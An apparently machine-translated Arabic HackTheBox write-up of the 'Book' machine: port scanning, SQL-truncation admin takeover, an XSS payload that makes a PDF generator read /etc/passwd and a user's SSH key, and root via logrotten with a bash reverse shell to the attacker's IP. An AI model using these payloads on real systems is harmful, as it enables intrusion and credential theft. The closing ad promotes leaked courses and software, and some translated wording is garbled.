HackTheBox. كتاب تجول. XSS إلى LFI عبر PDF و LPE عبر Logrotate



أستمر في نشر الحلول المرسلة لإنهاء الأجهزة من منصة HackTheBox .



في هذه المقالة ، سنستغل XSS إلى LFI من خلال مستند PDF ، ونقوم بتصعيد الامتيازات باستخدام logrotten ، ونرى سبب ضعف التسجيل المقطوع.



الاتصال بالمختبر عبر VPN. يوصى بعدم الاتصال من كمبيوتر العمل أو من مضيف حيث توجد بيانات مهمة بالنسبة لك ، حيث تجد نفسك في شبكة خاصة مع أشخاص يعرفون شيئًا عن أمن المعلومات.



معلومات تنظيمية
, , Telegram . , , .



. , - , .



ريكون



يحتوي هذا الجهاز على عنوان IP 10.10.10.176 ، والذي أضيفه إلى / etc / hosts.



10.10.10.176	book.htb


بادئ ذي بدء ، نقوم بمسح المنافذ المفتوحة. نظرًا لأنه يستغرق وقتًا طويلاً لفحص جميع المنافذ باستخدام nmap ، سأفعل ذلك أولاً باستخدام ماسكان. نقوم بمسح جميع منافذ TCP و UDP من واجهة tun0 بسرعة 500 حزمة في الثانية.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.176     --rate=500






الآن ، للحصول على معلومات أكثر تفصيلاً حول الخدمات التي تعمل على المنافذ ، قم بإجراء فحص باستخدام الخيار -A.



nmap -A book.htb -p22,80






يقوم المضيف بتشغيل خدمة SSH وخادم ويب. لنبدأ بالويب. نرحب بنا من خلال صفحة تسجيل الدخول والتسجيل.







دعونا التسجيل وتسجيل الدخول.







الموقع عبارة عن مكتبة مع إمكانية إضافة كتاب والاتصال بالمسؤول.







لا يوجد ناقل في هذه الحقول ، لكننا نعرف بريد المسؤول. دعونا ننتقل من خلال الدلائل مع المروج. في المعلمات ، نحدد عدد التدفقات 128 (-t) وعنوان URL (-u) والقاموس (-w) والإضافات التي نهتم بها (-x).



gobuster dir -t 128 -u http://book.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php






وبالتالي ، نجد العديد من الصفحات المثيرة للاهتمام ، بما في ذلك لوحة المشرف. ثم تقرر تحريف نموذج التفويض ، وعلى الفور وجدنا شيئًا مثيرًا للاهتمام في شفرة المصدر.







أي أن اسم المستخدم لا يمكن أن يزيد طوله عن 10 أحرف ، ولا يمكن أن يزيد عنوان البريد الإلكتروني عن 20. ولكن يتم التحقق فقط في حالة الحقول الفارغة ، دون التحقق من الطول.



نقطة الدخول



لذلك على الأرجح سيتم اقتطاع هذه المتغيرات إلى الطول المحدد على جانب الخادم. دعونا التحقق من ذلك. دعونا نسجل مستخدمًا سيكون عنوان بريده الإلكتروني أكثر من 20 حرفًا.







ثم نقوم بتسجيل الدخول ، مع مراعاة العنوان المقطوع.











كما ترى ، الافتراض صحيح. دعونا نسجل باسم "admin@book.htb 123" ثم قم بتسجيل الدخول كمسؤول منتظم.















هذا الهجوم ممكن بسبب حقيقة أنه عند التحقق أثناء التسجيل ، تكون القيمة "admin@book.htb 123" غير موجودة في قاعدة البيانات ، وبعد ذلك يتم اقتطاعها واستبدال القيمة الموجودة. لنلق نظرة حول الموقع ولا نجد شيئًا مثيرًا للاهتمام باستثناء المجموعة.







بعد تنزيل وفتح مستندات PDF ، سنجد هناك قائمة بالمستخدمين المسجلين والمجموعات.



المستعمل



أخبرتني تجربتي أنه عندما نتعامل مع تحميل المعلومات إلى الخادم وعرضها في PDF ، يجب التحقق من XXS إلى LFI. يمكنك القيام بذلك عن طريق تنزيل الكود التالي.



<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
 

قم بتسجيل الدخول كمستخدم عادي وأضف ملفًا إلى المجموعة ، للإشارة إلى هذا الحمل في جميع الحقول.







الآن نقوم بتنزيل الملف مع المجموعة من المسؤول ، ونعثر على محتويات ملف / etc / passwd هناك.







دعونا نقرأ مفتاح SSH الخاص لمستخدم القارئ من خلال تحديد الملف "file: ///home/reader/.ssh/id_rsa" في حملنا.







ولكن عند نسخ مفتاح ، لا يتم نسخه بالكامل. افتح ملف pdf هذا في متصفح ، وانسخ النص والصقه في ملف نصي عادي ، مع تمييز السطر الأول والأخير.







دعنا نعين الحقوق لهذا الملف.



chmod 0600 reader.key


ونقوم بالاتصال عبر SSH.







جذر



يوجد مجلد نسخ احتياطية في الدليل الرئيسي للمستخدم.











لم تعطني شيئا. قم بتشغيل البرامج النصية للتعداد الأساسي للنظام ، كما أننا لا نجد شيئًا مثيرًا للاهتمام. في هذه الحالة ، ننظر في المهام القابلة للتنفيذ باستخدام pspy64. وهنا نجد logrotate ، يعمل نيابة عن الجذر.







تم تصميم الأداة المساعدة Logrotate لأتمتة معالجة السجلات. يمكنها تنفيذ الإجراءات اللازمة معهم اعتمادًا على بعض الشروط وقواعد الامتثال. على سبيل المثال ، يمكنك ضغط السجلات في أرشيف أو إرسالها إلى خادم آخر عندما تصل إلى حجم معين أو عمر أو معلمات أخرى. والبحث في Google يعطي شيئًا على الفور.











تنزيل المستودع وتجميع البرنامج.



gcc -o logrotten logrotten.c


الآن دعونا نصنع ملفًا بهيكل عكسي.



echo "bash -i >& /dev/tcp/10.10.15.60/4321 0>&1" > payloadfile


لنبدأ تسجيل الدخول ، وفي نافذة طرفية أخرى سنكتب إلى ملف السجل الخاص بنا.



./logrotten -p ./payloadfile /home/reader/backups/access.log 






يمكننا أن نلاحظ أن البرنامج عمل بنجاح.







بعد بضع ثوانٍ ، نرى اتصالًا يتم تعليقه لبضع ثوان. هذا يكفي لرؤية مفتاح ssh الخاص.







دعنا نتواصل مع هذا المفتاح ونأخذ العلم.







يمكنك الانضمام إلينا على Telegram . هناك يمكنك العثور على مواد مثيرة للاهتمام ودورات مسربة وبرامج. دعونا نجمع مجتمعًا سيكون فيه أناس على دراية في العديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.



All Articles